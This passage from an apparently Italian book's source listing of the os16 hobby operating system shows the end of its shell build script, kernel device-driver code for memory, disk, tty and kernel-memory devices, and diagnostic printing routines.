30056       echo -n                                                    > $MAKEFILE
30057       echo "# This file was made automatically"                 >> $MAKEFILE
30058       echo "# by the script \`makeit\', based on the"           >> $MAKEFILE
30059       echo "# directory content."                               >> $MAKEFILE
30060       echo "# Please use \`makeit\' to compile and"             >> $MAKEFILE
30061       echo "# \`makeit clean\' to clean directories."           >> $MAKEFILE
30062       echo "#"                                                   >> $MAKEFILE
30063       echo "c = $SOURCE_C"                                       >> $MAKEFILE
30064       echo "#"                                                   >> $MAKEFILE
30065       echo "s = $SOURCE_S"                                       >> $MAKEFILE
30066       echo "#"                                                   >> $MAKEFILE
30067       echo "all: \$(s) \$(c)"                                    >> $MAKEFILE
30068       echo "#"                                                   >> $MAKEFILE
30069       echo "clean:"                                              >> $MAKEFILE
30070       echo "${TAB}@rm \$(c) \$(s) *.o *.assembler 2> /dev/null ; true" \
30071                                                                  >> $MAKEFILE
30072       echo "${TAB}@rm *.symbols 2> /dev/null     ; true"         >> $MAKEFILE
30073       echo "${TAB}@pwd"                                          >> $MAKEFILE
30074       echo "#"                                                   >> $MAKEFILE
30075       echo "\$(c):"                                              >> $MAKEFILE
30076       echo "${TAB}@echo \$@.c"                                   >> $MAKEFILE
30077       echo "${TAB}@gcc -Wall -c -o \$@.o " \
30078                            "-I " \
30079                            "-I. " \
30080                            "-I$OS16PATH/lib " \
30081                            "-I$OS16PATH/ " \
30082                            "\$@.c"                               >> $MAKEFILE
30083       echo "${TAB}@rm \$@.o"                                     >> $MAKEFILE
30084       echo "${TAB}@bcc -ansi -0 -Mc -S -o \$@.assembler " \
30085                            "-I " \
30086                            "-I. " \
30087                            "-I$OS16PATH/lib " \
30088                            "-I$OS16PATH/ " \
30089                            "\$@.c"                               >> $MAKEFILE
30090       echo "${TAB}@bcc -ansi -0 -Mc -c -o \$@.o " \
30091                            "-I " \
30092                            "-I. " \
30093                            "-I$OS16PATH/lib " \
30094                            "-I$OS16PATH/ " \
30095                            "\$@.c"                               >> $MAKEFILE
30096       echo "#"                                                   >> $MAKEFILE
30097       echo "\$(s):"                                              >> $MAKEFILE
30098       echo "${TAB}@echo \$@.s"                                   >> $MAKEFILE
30099       echo "${TAB}@as86 -u -0 -o \$@.o -s \$@.symbols \$@.s"    >> $MAKEFILE
30100       #
30101   }
```

```
30102 #
30103 #
30104 #
30105 main () {
30106     #
30107     local CURDIR=`pwd`
30108     local OBJECTS
30109     local OBJLIB
30110     local EXEC
30111     local BASENAME
30112     local PROGNAME
30113     local d
30114     local c
30115     local s
30116     local o
30117     #
30118     edition
30119     #
30120     # Copia dello scheletro
30121     #
30122     if [ "$OPTION" = "clean" ]
30123     then
30124         #
30125         # La copia non va fatta.
30126         #
30127         true
30128     else
30129         cp -dpRv skel/etc   /mnt/os16.a/
30130         cp -dpRv skel/dev   /mnt/os16.a/
30131         mkdir               /mnt/os16.a/mnt/
30132         mkdir               /mnt/os16.a/tmp/
30133         chmod 0777          /mnt/os16.a/tmp/
30134         mkdir               /mnt/os16.a/usr/
30135         cp -dpRv skel/root  /mnt/os16.a/
30136         cp -dpRv skel/home  /mnt/os16.a/
30137         cp -dpRv skel/usr/* /mnt/os16.b/
30138     fi
30139     #
30140     #
30141     #
30142     for d in `find kernel`  \
30143              `find lib`     \
30144              `find applic`  \
30145              `find ported`
30146     do
30147         if [ -d "$d" ]
30148         then
30149             #
30150             # Sono presenti dei file C o ASM?
30151             #
30152             c=`echo $d/*.c | sed "s/ .*//"`
30153             s=`echo $d/*.s | sed "s/ .*//"`
```

```
30154                 #
30155                 if [ -f "$c" ] || [ -f "$s" ]
30156                 then
30157                     #
30158                     # Sì
30159                     #
30160                     CURDIR=`pwd`
30161                     cd $d
30162                     #
30163                     # Ricrea il file make
30164                     #
30165                     makefile
30166                     #
30167                     # Pulisce quindi la directory
30168                     #
30169                     make clean
30170                     #
30171                     #
30172                     #
30173                     if [ "$OPTION" = "clean" ]
30174                     then
30175                         #
30176                         # È stata richiesta la pulitura, ma questa
30177                         # è appena stata fatta!
30178                         #
30179                         true
30180                     else
30181                         #
30182                         # Qualunque altro argomento viene considerato
30183                         # un 'make'.
30184                         #
30185                         if ! make
30186                         then
30187                             #
30188                             # La compilazione è fallita.
30189                             #
30190                             cd "$CURDIR"
30191                             exit
30192                         fi
30193                     fi
30194                     cd "$CURDIR"
30195                 fi
30196             fi
30197         done
30198         #
30199         cd "$CURDIR"
30200         #
30201         # Link
30202         #
30203         if [ "$OPTION" = "clean" ]
30204         then
30205             #
```

```
30206            # Il collegamento non va fatto.
30207            #
30208            true
30209        else
30210            #
30211            # Collegamento dei file del kernel.
30212            #
30213            OBJECTS=""
30214            #
30215            for o in `find kernel   -name \*.o -print` \
30216                     `find lib      -name \*.o -print`
30217            do
30218                if    [ "$o" = "./kernel/main/crt0.o" ] \
30219                   || [ "$o" = "./kernel/main/main.o" ] \
30220                   || [ ! -e "$o" ]
30221                then
30222                    true
30223                else
30224                    OBJECTS="$OBJECTS $o"
30225                fi
30226            done
30227            #
30228            echo "Link"
30229            #
30230            ld86 -i -d -s -m -o kimage    \
30231                    kernel/main/crt0.o    \
30232                    kernel/main/main.o    \
30233                    $OBJECTS
30234            #
30235            # Copia il kernel nel dischetto.
30236            #
30237            if mount | grep /mnt/os16.a > /dev/null
30238            then
30239                cp -f kimage /mnt/os16.a/boot
30240            else
30241                echo "[$0] Cannot copy the kernel image "
30242                echo "[$0]   inside the floppy disk image!"
30243            fi
30244            sync
30245            #
30246            # Collegamento delle applicazioni di os16.
30247            #
30248            OBJLIB=""
30249            #
30250            for o in `find lib      -name \*.o -print`
30251            do
30252                OBJLIB="$OBJLIB $o"
30253            done
30254            #
30255            # Scansione delle applicazioni interne.
30256            #
30257            for o in `find applic     -name \*.o -print`
```

```
30258           do
30259               if    [ "$o" = "applic/crt0.o" ] \
30260                  || [ ! -e "$o" ] \
30261                  || echo "$o" | grep ".crt0.o$" > /dev/null
30262               then
30263                   #
30264                   # Il file non esiste oppure si tratta di '...crt0.s'.
30265                   #
30266                   true
30267               else
30268                   #
30269                   # File oggetto differente da '...crt0.s'.
30270                   #
30271                   EXEC=`echo "$o" | sed "s/\.o$//"`
30272                   BASENAME=`basename $o .o`
30273                   if [ -e "applic/$BASENAME.crt0.o" ]
30274                   then
30275                       #
30276                       # Qui c'è un file '...crt0.o' specifico.
30277                       #
30278                       ld86 -i -d -s -o $EXEC \
30279                            applic/$BASENAME.crt0.o $o $OBJLIB
30280                   else
30281                       #
30282                       # Qui si usa il file 'crt0.o' generale.
30283                       #
30284                       ld86 -i -d -s -o $EXEC applic/crt0.o $o $OBJLIB
30285                   fi
30286                   #
30287                   if [ -x "applic/$BASENAME" ]
30288                   then
30289                       if mount | grep /mnt/os16.a > /dev/null
30290                       then
30291                           mkdir /mnt/os16.a/bin/ 2> /dev/null
30292                           cp -f "$EXEC" /mnt/os16.a/bin
30293                       else
30294                           echo "[$0] Cannot copy the application "
30295                           echo "[$0]   $BASENAME inside the floppy "
30296                           echo "[$0]   disk image!"
30297                           break
30298                       fi
30299                   fi
30300               fi
30301           done
30302           sync
30303           #
30304           # Collegamento delle applicazioni più semplici,
30305           # provenienti da altri sistemi operativi.
30306           #
30307           for o in `find ported/mix -name \*.o -print`
30308           do
30309               if    [ "$o" = "ported/mix/crt0.o" ] \
```

```
30310                 || [ ! -e "$o" ] \
30311                 || echo "$o" | grep ".crt0.o$" > /dev/null
30312             then
30313                 #
30314                 # Il file non esiste oppure si tratta di `...crt0.s'.
30315                 #
30316                 true
30317             else
30318                 #
30319                 # File oggetto differente da `...crt0.s'.
30320                 #
30321                 EXEC=`echo "$o" | sed "s/\.o$//"`
30322                 BASENAME=`basename $o .o`
30323                 if [ -e "ported/mix/$BASENAME.crt0.o" ]
30324                 then
30325                     #
30326                     # Qui c'è un file `...crt0.o' specifico.
30327                     #
30328                     ld86 -i -d -s -o $EXEC \
30329                          applic/$BASENAME.crt0.o $o $OBJLIB
30330                 else
30331                     #
30332                     # Qui si usa il file `crt0.o' generale.
30333                     #
30334                     ld86 -i -d -s -o $EXEC applic/crt0.o $o $OBJLIB
30335                 fi
30336                 #
30337                 if [ -x "$EXEC" ]
30338                 then
30339                     if mount | grep /mnt/os16.a > /dev/null
30340                     then
30341                         mkdir /mnt/os16.b/bin/ 2> /dev/null
30342                         cp -f "$EXEC" /mnt/os16.b/bin
30343                     else
30344                         echo "[$0] Cannot copy the application "
30345                         echo "[$0]   $EXEC inside the floppy "
30346                         echo "[$0]   disk image!"
30347                         break
30348                     fi
30349                 fi
30350             fi
30351         done
30352         sync
30353         #
30354         # Altre applicazioni più importanti.
30355         #
30356         for d in ported/*
30357         do
30358             if [ -d "$d" ]
30359             then
30360                 #
30361                 #
```

```
30362                   #
30363                   OBJECTS=""
30364                   BASENAME=`basename $d`
30365                   EXEC="$d/$BASENAME"
30366                   #
30367                   #
30368                   #
30369                   if [ "$BASENAME" = "mix" ]
30370                   then
30371                       #
30372                       # già fatto.
30373                       #
30374                       continue
30375                   fi
30376                   #
30377                   #
30378                   #
30379                   for o in $d/*.o
30380                   do
30381                       if    [ "$o" = "$d/crt0.o" ] \
30382                          || [ ! -e "$o" ]
30383                       then
30384                           true
30385                       else
30386                           OBJECTS="$OBJECTS $o"
30387                       fi
30388                   done
30389                   #
30390                   ld86 -i -d -s -o $EXEC $d/crt0.o $OBJECTS $OBJLIB
30391                   #
30392                   if [ -x "$d/$BASENAME" ]
30393                   then
30394                       if mount | grep /mnt/os16.b > /dev/null
30395                       then
30396                           mkdir /mnt/os16.b/bin/ 2> /dev/null
30397                           cp -f "$EXEC" /mnt/os16.b/bin
30398                       else
30399                           echo "[$0] Cannot copy the application "
30400                           echo "[$0]   $BASENAME inside the floppy "
30401                           echo "[$0]   disk image!"
30402                           break
30403                       fi
30404                   fi
30405               fi
30406           done
30407           sync
30408
30409       fi
30410   }
30411   #
30412   # Start.
30413   #
```

```
30414 if [ -d kernel ]   && \
30415    [ -d applic ]   && \
30416    [ -d lib  ]
30417 then
30418     OS16PATH=`pwd`
30419     main
30420 else
30421     echo "[$0] Running from a wrong directory!"
30422 fi
```

105.2 os16: «kernel/devices.h»

Si veda la sezione 104.1.

```
40001 #ifndef _KERNEL_DEVICES_H
40002 #define _KERNEL_DEVICES_H 1
40003
40004 #include <sys/os16.h>
40005 #include <sys/types.h>
40006 //----------------------------------------------------------------------
40007 #define DEV_READ                0
40008 #define DEV_WRITE               1
40009 ssize_t dev_io    (pid_t pid, dev_t device, int rw, off_t offset,
40010                    void *buffer, size_t size, int *eof);
40011 //----------------------------------------------------------------------
40012 // The following functions are used only by `dev_io()'.
40013 //----------------------------------------------------------------------
40014 ssize_t dev_mem   (pid_t pid, dev_t device, int rw, off_t offset,
40015                    void *buffer, size_t size, int *eof);
40016 ssize_t dev_tty   (pid_t pid, dev_t device, int rw, off_t offset,
40017                    void *buffer, size_t size, int *eof);
40018 ssize_t dev_dsk   (pid_t pid, dev_t device, int rw, off_t offset,
40019                    void *buffer, size_t size, int *eof);
40020 ssize_t dev_kmem  (pid_t pid, dev_t device, int rw, off_t offset,
40021                    void *buffer, size_t size, int *eof);
40022 //----------------------------------------------------------------------
40023
40024 #endif
```

105.2.1 kernel/devices/dev_dsk.c

Si veda la sezione 104.1.2.

```
50001 #include <sys/os16.h>
50002 #include <kernel/devices.h>
50003 #include <sys/types.h>
50004 #include <errno.h>
50005 #include <kernel/memory.h>
50006 #include <kernel/ibm_i86.h>
```

```
50007 #include <kernel/proc.h>
50008 #include <string.h>
50009 #include <signal.h>
50010 #include <kernel/k_libc.h>
50011 #include <ctype.h>
50012 #include <kernel/tty.h>
50013 //----------------------------------------------------------------------
50014 ssize_t
50015 dev_dsk (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
50016          size_t size, int *eof)
50017 {
50018     ssize_t n;
50019     int     dev_minor = minor (device);
50020 
50021     if (rw == DEV_READ)
50022       {
50023         n = dsk_read_bytes (dev_minor, offset, buffer, size);
50024       }
50025     else
50026       {
50027         n = dsk_write_bytes (dev_minor, offset, buffer, size);
50028       }
50029     return (n);
50030 }
```

105.2.2 kernel/devices/dev_io.c

Si veda la sezione 104.1.1.

```
60001 #include <sys/os16.h>
60002 #include <kernel/devices.h>
60003 #include <sys/types.h>
60004 #include <errno.h>
60005 #include <kernel/memory.h>
60006 #include <kernel/ibm_i86.h>
60007 #include <kernel/proc.h>
60008 #include <string.h>
60009 #include <signal.h>
60010 #include <kernel/k_libc.h>
60011 #include <ctype.h>
60012 #include <kernel/tty.h>
60013 //----------------------------------------------------------------------
60014 ssize_t
60015 dev_io (pid_t pid, dev_t device, int rw, off_t offset,
60016         void *buffer, size_t size, int *eof)
60017 {
60018     int dev_major = major (device);
60019     if (rw != DEV_READ && rw != DEV_WRITE)
60020       {
60021         errset (EIO);
60022         return (-1);
```

```
60023         }
60024       switch (dev_major)
60025         {
60026           case DEV_MEM_MAJOR:
60027               return (dev_mem (pid, device, rw, offset, buffer, size,
60028                                eof));
60029           case DEV_TTY_MAJOR:
60030               return (dev_tty (pid, device, rw, offset, buffer, size,
60031                                eof));
60032           case DEV_CONSOLE_MAJOR:
60033               return (dev_tty (pid, device, rw, offset, buffer, size,
60034                                eof));
60035           case DEV_DSK_MAJOR:
60036               return (dev_dsk (pid, device, rw, offset, buffer, size,
60037                                eof));
60038           case DEV_KMEM_MAJOR:
60039               return (dev_kmem (pid, device, rw, offset, buffer, size,
60040                                 eof));
60041           default:
60042               errset (ENODEV);
60043               return (-1);
60044         }
60045 }
```

105.2.3 kernel/devices/dev_kmem.c

Si veda la sezione 104.1.3.

```
70001 #include <sys/os16.h>
70002 #include <kernel/devices.h>
70003 #include <sys/types.h>
70004 #include <errno.h>
70005 #include <kernel/memory.h>
70006 #include <kernel/ibm_i86.h>
70007 #include <kernel/proc.h>
70008 #include <string.h>
70009 #include <signal.h>
70010 #include <kernel/k_libc.h>
70011 #include <ctype.h>
70012 #include <kernel/tty.h>
70013 //----------------------------------------------------------------------
70014 ssize_t
70015 dev_kmem (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
70016           size_t size, int *eof)
70017 {
70018   size_t    size_real;
70019   inode_t  *inode;
70020   sb_t     *sb;
70021   file_t   *file;
70022   void     *start;
70023   //
```

```
70024     // Only read is allowed.
70025     //
70026     if (rw != DEV_READ)
70027       {
70028         errset (EIO);                           // I/O error.
70029         return ((ssize_t) -1);
70030       }
70031     //
70032     // Only positive offset is allowed.
70033     //
70034     if (offset < 0)
70035       {
70036         errset (EIO);                           // I/O error.
70037         return ((ssize_t) -1);
70038       }
70039     //
70040     // Read is selected (and is the only access allowed).
70041     //
70042     switch (device)
70043       {
70044         case DEV_KMEM_PS:
70045             //
70046             // Verify if the selected slot can be read.
70047             //
70048             if (offset >= PROCESS_MAX)
70049               {
70050                 errset (EIO);                   // I/O error.
70051                 return ((ssize_t) -1);
70052               }
70053             //
70054             // Correct the size to be read.
70055             //
70056             if (sizeof (proc_t) < size)
70057               {
70058                 size = sizeof (proc_t);
70059               }
70060             //  //
70061             //  // Correct the size to be read.
70062             //  //
70063             //  size_real = ((sizeof (proc_t)) * (PROCESS_MAX - offset));
70064             //  if (size_real < size)
70065             //    {
70066             //      size = size_real;
70067             //    }
70068             //
70069             // Get the pointer to the selected slot.
70070             //
70071             start = proc_reference ((pid_t) offset);
70072             break;
70073         case DEV_KMEM_MMP:
70074             //
70075             // Correct the size to be read.
```

```
70076                //
70077                size_real = (MEM_MAX_BLOCKS/8);
70078                if (size_real < size)
70079                  {
70080                    size = size_real;
70081                  }
70082                //
70083                // Get the pointer to the map.
70084                //
70085                start = mb_reference ();
70086                break;
70087            case DEV_KMEM_SB:
70088                //
70089                // Get a reference to the super block table.
70090                //
70091                sb = sb_reference (0);
70092                //
70093                // Correct the size to be read.
70094                //
70095                if (sizeof (sb_t) < size)
70096                  {
70097                    size = sizeof (sb_t);
70098                  }
70099                //
70100                // Get the pointer to the selected super block slot.
70101                //
70102                start = &sb[offset];
70103                break;
70104            case DEV_KMEM_INODE:
70105                //
70106                // Get a reference to the inode table.
70107                //
70108                inode = inode_reference (0, 0);
70109                //
70110                // Correct the size to be read.
70111                //
70112                if (sizeof (inode_t) < size)
70113                  {
70114                    size = sizeof (inode_t);
70115                  }
70116                //
70117                // Get the pointer to the selected inode slot.
70118                //
70119                start = &inode[offset];
70120                break;
70121            case DEV_KMEM_FILE:
70122                //
70123                // Get a reference to the file table.
70124                //
70125                file = file_reference (0);
70126                //
70127                // Correct the size to be read.
```

```
70128             //
70129             if (sizeof (file_t) < size)
70130               {
70131                 size = sizeof (file_t);
70132               }
70133             //
70134             // Get the pointer to the selected inode slot.
70135             //
70136             start = &file[offset];
70137             break;
70138         default:
70139             errset (ENODEV);            // No such device.
70140             return ((ssize_t) -1);
70141       }
70142     //
70143     // At this point, data is ready to be copied to the buffer.
70144     //
70145     memcpy (buffer, start, size);
70146     //
70147     // Return size read.
70148     //
70149     return (size);
70150 }
```

105.2.4 kernel/devices/dev_mem.c

Si veda la sezione 104.1.4.

```
80001 #include <sys/os16.h>
80002 #include <kernel/devices.h>
80003 #include <sys/types.h>
80004 #include <errno.h>
80005 #include <kernel/memory.h>
80006 #include <kernel/ibm_i86.h>
80007 #include <kernel/proc.h>
80008 #include <string.h>
80009 #include <signal.h>
80010 #include <kernel/k_libc.h>
80011 #include <ctype.h>
80012 #include <kernel/tty.h>
80013 //----------------------------------------------------------------------
80014 ssize_t
80015 dev_mem (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
80016          size_t size, int *eof)
80017 {
80018     uint8_t  *buffer08 = (uint8_t *) buffer;
80019     uint16_t *buffer16 = (uint16_t *) buffer;
80020     ssize_t n;
80021
80022     if      (device == DEV_MEM)                          // DEV_MEM
80023       {
```

```
80024         if (rw == DEV_READ)
80025           {
80026             n = mem_read ((addr_t) offset, buffer, size);
80027           }
80028         else
80029           {
80030             n = mem_write ((addr_t) offset, buffer, size);
80031           }
80032       }
80033     else if (device == DEV_NULL)                         // DEV_NULL
80034       {
80035         n = 0;
80036       }
80037     else if (device == DEV_ZERO)                         // DEV_ZERO
80038       {
80039         if (rw == DEV_READ)
80040           {
80041             for (n = 0; n < size; n++)
80042               {
80043                 buffer08[n] = 0;
80044               }
80045           }
80046         else
80047           {
80048             n = 0;
80049           }
80050       }
80051     else if (device == DEV_PORT)                         // DEV_PORT
80052       {
80053         if (rw == DEV_READ)
80054           {
80055             if (size == 1)
80056               {
80057                 buffer08[0] = in_8 (offset);
80058                 n = 1;
80059               }
80060             else if (size == 2)
80061               {
80062                 buffer16[0] = in_16 (offset);
80063                 n = 2;
80064               }
80065             else
80066               {
80067                 n = 0;
80068               }
80069           }
80070         else
80071           {
80072             if (size == 1)
80073               {
80074                 out_8 (offset, buffer08[0]);
80075               }
```

```
80076                 else if (size == 2)
80077                   {
80078                     out_16 (offset, buffer16[0]);
80079                     n = 2;
80080                   }
80081                 else
80082                   {
80083                     n = 0;
80084                   }
80085               }
80086         }
80087       else
80088         {
80089           errset (ENODEV);
80090           return (-1);
80091         }
80092       return (n);
80093   }
```

105.2.5 kernel/devices/dev_tty.c

Si veda la sezione 104.1.5.

```
90001   #include <sys/os16.h>
90002   #include <kernel/devices.h>
90003   #include <sys/types.h>
90004   #include <errno.h>
90005   #include <kernel/memory.h>
90006   #include <kernel/ibm_i86.h>
90007   #include <kernel/proc.h>
90008   #include <string.h>
90009   #include <signal.h>
90010   #include <kernel/k_libc.h>
90011   #include <ctype.h>
90012   #include <kernel/tty.h>
90013   //----------------------------------------------------------------------
90014   ssize_t
90015   dev_tty (pid_t pid, dev_t device, int rw, off_t offset, void *buffer,
90016            size_t size, int *eof)
90017   {
90018       uint8_t *buffer08 = (uint8_t *) buffer;
90019       ssize_t  n;
90020       proc_t   *ps;
90021       //
90022       // Get process. Variable 'ps' will be 'NULL' if the process ID is
90023       // not valid.
90024       //
90025       ps = proc_reference (pid);
90026       //
90027       // Convert 'DEV_TTY' with the controlling terminal for the process.
90028       //
```

```
90029       if (device == DEV_TTY)
90030         {
90031           device = ps->device_tty;
90032           //
90033           // As a last resort, use the generic 'DEV_CONSOLE'.
90034           //
90035           if (device == 0 || device == DEV_TTY)
90036             {
90037               device = DEV_CONSOLE;
90038             }
90039         }
90040       //
90041       // Convert 'DEV_CONSOLE' to the currently active console.
90042       //
90043       if (device == DEV_CONSOLE)
90044         {
90045           device = tty_console ((dev_t) 0);
90046           //
90047           // As a last resort, use the first console: 'DEV_CONSOLE0'.
90048           //
90049           if (device == 0 || device == DEV_TTY)
90050             {
90051               device = DEV_CONSOLE0;
90052             }
90053         }
90054       //
90055       // Read or write.
90056       //
90057       if (rw == DEV_READ)
90058         {
90059           for (n = 0; n < size; n++)
90060             {
90061               buffer08[n] = tty_read (device);
90062               if (buffer08[n] == 0)
90063                 {
90064                   //
90065                   // If the pid is not the kernel, should put the process
90066                   // to sleep, waiting for the key.
90067                   //
90068                   if (pid == 0 || ps == NULL)
90069                     {
90070                       //
90071                       // For the kernel there is no sleep and for an
90072                       // unidentified process, either.
90073                       //
90074                       break;
90075                     }
90076                   //
90077                   // Put the process to sleep.
90078                   //
90079                   ps->status          = PROC_SLEEPING;
90080                   ps->ret             = 0;
```

```
90081                     ps->wakeup_events  = WAKEUP_EVENT_TTY;
90082                     ps->wakeup_signal  = 0;
90083                     ps->wakeup_timer   = 0;
90084                     //
90085                     break;
90086                   }
90087                 //
90088                 // Check for control characters.
90089                 //
90090                 if (buffer08[n] == 0x04)    // EOT
90091                   {
90092                     //
90093                     // Return EOF.
90094                     //
90095                     *eof = 1;
90096                     break;
90097                   }
90098                 //
90099                 // At this point, show the character on screen, even if it
90100                 // is not nice. It is necessary to show something, because
90101                 // the tty handling is very poor and the library for line
90102                 // input, calculate cursor position based on the characters
90103                 // received.
90104                 //
90105                 tty_write (device, (int) buffer08[n]);
90106               }
90107           }
90108         else
90109           {
90110             for (n = 0; n < size; n++)
90111               {
90112                 tty_write (device, (int) buffer08[n]);
90113               }
90114           }
90115         return (n);
90116     }
```

105.3 os16: «kernel/diag.h»

Si veda la sezione 104.2.

```
100001  #ifndef _KERNEL_DIAG_H
100002  #define _KERNEL_DIAG_H 1
100003  
100004  #include <stdint.h>
100005  #include <kernel/fs.h>
100006  #include <sys/types.h>
100007  #include <kernel/proc.h>
100008  
100009  //----------------------------------------------------------------------
100010  uint8_t  reverse_8_bit  (uint8_t  source);
```

```
100011 uint16_t reverse_16_bit (uint16_t source);
100012 uint32_t reverse_32_bit (uint32_t source);
100013
100014 #define reverse_char(s)      ((char)     reverse_8_bit  ((uint8_t)  s))
100015 #define reverse_short(s)     ((short)    reverse_16_bit ((uint16_t) s))
100016 #define reverse_int(s)       ((int)      reverse_16_bit ((uint16_t) s))
100017 #define reverse_long(s)      ((long)     reverse_32_bit ((uint32_t) s))
100018 #define reverse_long_int(s)  ((long int) reverse_32_bit ((uint32_t) s))
100019 //----------------------------------------------------------------------
100020 void print_hex_8  (void *data, size_t elements);
100021 void print_hex_16 (void *data, size_t elements);
100022 void print_hex_32 (void *data, size_t elements);
100023
100024 #define print_hex_char(d, e)      (print_hex_8  (d, e))
100025 #define print_hex_short(d, e)     (print_hex_16 (d, e))
100026 #define print_hex_int(d, e)       (print_hex_16 (d, e))
100027 #define print_hex_long(d, e)      (print_hex_32 (d, e))
100028 #define print_hex_long_int(d, e)  (print_hex_32 (d, e))
100029 //----------------------------------------------------------------------
100030 void print_hex_8_reverse  (void *data, size_t elements);
100031 void print_hex_16_reverse (void *data, size_t elements);
100032 void print_hex_32_reverse (void *data, size_t elements);
100033
100034 #define print_hex_char_reverse(d, e)      (print_hex_8_reverse  (d, e))
100035 #define print_hex_short_reverse(d, e)     (print_hex_16_reverse (d, e))
100036 #define print_hex_int_reverse(d, e)       (print_hex_16_reverse (d, e))
100037 #define print_hex_long_reverse(d, e)      (print_hex_32_reverse (d, e))
100038 #define print_hex_long_int_reverse(d, e)  (print_hex_32_reverse (d, e))
100039 //----------------------------------------------------------------------
100040 void print_segments (void);
100041 void print_kmem     (void);
100042 //----------------------------------------------------------------------
100043 void print_mb_map     (void);
100044 void print_memory_map (void);
100045 //----------------------------------------------------------------------
100046 void print_superblock       (sb_t *sb);
100047 void print_inode            (inode_t *inode);
100048 void print_inode_map        (sb_t *sb, uint16_t *bitmap);
100049 void print_zone_map         (sb_t *sb, uint16_t *bitmap);
100050 void print_inode_head       (void);
100051 void print_inode_list       (void);
100052 void print_inode_zones_head (void);
100053 void print_inode_zones      (inode_t *inode);
100054 void print_inode_zones_list (void);
100055 //----------------------------------------------------------------------
100056 void print_proc_head (void);
100057 void print_proc_pid  (proc_t *ps, pid_t pid);
100058 void print_proc_list (void);
100059 //----------------------------------------------------------------------
100060 void print_file_head (void);
100061 void print_file_num  (int num);
100062 void print_file_list (void);
```

```
100063 //----------------------------------------------------------------------
100064 void print_fd_head (void);
100065 void print_fd      (fd_t *fd);
100066 void print_fd_list (pid_t pid);
100067 //----------------------------------------------------------------------
100068 void print_time      (void);
100069 //----------------------------------------------------------------------
100070 
100071 #endif
```

105.3.1 kernel/diag/print_fd.c

Si veda la sezione 104.2.

```
110001 #include <sys/os16.h>
110002 #include <kernel/diag.h>
110003 #include <kernel/k_libc.h>
110004 #include <fcntl.h>
110005 //----------------------------------------------------------------------
110006 void
110007 print_fd (fd_t *fd)
110008 {
110009     k_printf ("%04x %6li %3i %c/%c %05o %5i %3i %5li %4i %04x %3i",
110010         (unsigned int)      fd->fl_flags,
110011         (unsigned long int) fd->file->offset,
110012         (unsigned int)      fd->file->references,
110013         (fd->file->oflags & O_RDONLY ? 'r' : ' '),
110014         (fd->file->oflags & O_WRONLY ? 'w' : ' '),
110015         (unsigned int)      fd->file->inode->mode,
110016         (unsigned int)      fd->file->inode->uid,
110017         (unsigned int)      fd->file->inode->gid,
110018         (unsigned long int) fd->file->inode->size,
110019         (unsigned int)      fd->file->inode->links,
110020         (unsigned int)      fd->file->inode->sb->device,
110021         (unsigned int)      fd->file->inode->ino);
110022     k_printf ("\n");
110023 }
```

105.3.2 kernel/diag/print_fd_head.c

Si veda la sezione 104.2.

```
120001 #include <sys/os16.h>
120002 #include <kernel/diag.h>
120003 #include <kernel/k_libc.h>
120004 //----------------------------------------------------------------------
120005 void
120006 print_fd_head (void)
120007 {
```

```
120008
120009     k_printf ("n. stat offset ref flg  mode   uid gid  size lnks  ");
120010     k_printf ("dev ino\n");
120011 }
```

105.3.3 kernel/diag/print_fd_list.c

Si veda la sezione 104.2.

```
130001 #include <sys/os16.h>
130002 #include <kernel/diag.h>
130003 #include <kernel/k_libc.h>
130004 //----------------------------------------------------------------------
130005 void
130006 print_fd_list (pid_t pid)
130007 {
130008     int       fdn = 0;
130009     fd_t *fd;
130010     fd = fd_reference (pid, &fdn);
130011     print_fd_head ();
130012     for (fdn = 0; fdn < OPEN_MAX; fdn++)
130013       {
130014         if (fd[fdn].file != NULL)
130015           {
130016             k_printf ("%2i ", fdn);
130017             print_fd (fd);
130018           }
130019       }
130020 }
```

105.3.4 kernel/diag/print_file_head.c

Si veda la sezione 104.2.

```
140001 #include <sys/os16.h>
140002 #include <kernel/diag.h>
140003 #include <kernel/k_libc.h>
140004 //----------------------------------------------------------------------
140005 void
140006 print_file_head (void)
140007 {
140008
140009     k_printf ("n. ref flg  mode uid  size lnks  dev ino\n");
140010 }
```

105.3.5 kernel/diag/print_file_list.c

Si veda la sezione 104.2.

```
150001 #include <sys/os16.h>
150002 #include <kernel/diag.h>
150003 #include <kernel/k_libc.h>
150004 //----------------------------------------------------------------------
150005 void
150006 print_file_list (void)
150007 {
150008     int     fno;
150009     file_t *file = file_reference (0);
150010     //
150011     print_file_head ();
150012     //
150013     for (fno = 0; fno < FILE_MAX_SLOTS; fno++)
150014       {
150015         if (file[fno].references > 0)
150016           {
150017             print_file_num (fno);
150018           }
150019       }
150020 }
```

105.3.6 kernel/diag/print_file_num.c

Si veda la sezione 104.2.

```
160001 #include <sys/os16.h>
160002 #include <kernel/diag.h>
160003 #include <kernel/k_libc.h>
160004 #include <fcntl.h>
160005 //----------------------------------------------------------------------
160006 void
160007 print_file_num (int fno)
160008 {
160009     file_t *file = file_reference (fno);
160010 
160011     k_printf ("%2i %3i %c/%c %05o %3i %5li %4i %04x %3i",
160012               (unsigned int)      fno,
160013               (unsigned int)      file->references,
160014               (file->oflags & O_RDONLY ? 'r' : ' '),
160015               (file->oflags & O_WRONLY ? 'w' : ' '),
160016               (unsigned int)      file->inode->mode,
160017               (unsigned int)      file->inode->uid,
160018               (unsigned long int) file->inode->size,
160019               (unsigned int)      file->inode->links,
160020               (unsigned int)      file->inode->sb->device,
160021               (unsigned int)      file->inode->ino);
160022     k_printf ("\n");
160023 }
```

105.3.7 kernel/diag/print_hex_16.c

Si veda la sezione 104.2.

```
170001 #include <sys/os16.h>
170002 #include <kernel/diag.h>
170003 #include <kernel/k_libc.h>
170004 #include <inttypes.h>
170005 #include <stdio.h>
170006 //----------------------------------------------------------------------
170007 void
170008 print_hex_16 (void *data, size_t elements)
170009 {
170010     uint16_t *element = (uint16_t *) data;
170011     int i;
170012     for (i = 0; i < elements; i++)
170013       {
170014         k_printf ("%04" PRIx16, (uint16_t) element[i]);
170015       }
170016 }
```

105.3.8 kernel/diag/print_hex_16_reverse.c

Si veda la sezione 104.2.

```
180001 #include <sys/os16.h>
180002 #include <kernel/diag.h>
180003 #include <kernel/k_libc.h>
180004 #include <inttypes.h>
180005 #include <stdio.h>
180006 //----------------------------------------------------------------------
180007 void
180008 print_hex_16_reverse (void *data, size_t elements)
180009 {
180010     uint16_t *element = (uint16_t *) data;
180011     int i;
180012     for (i = 0; i < elements; i++)
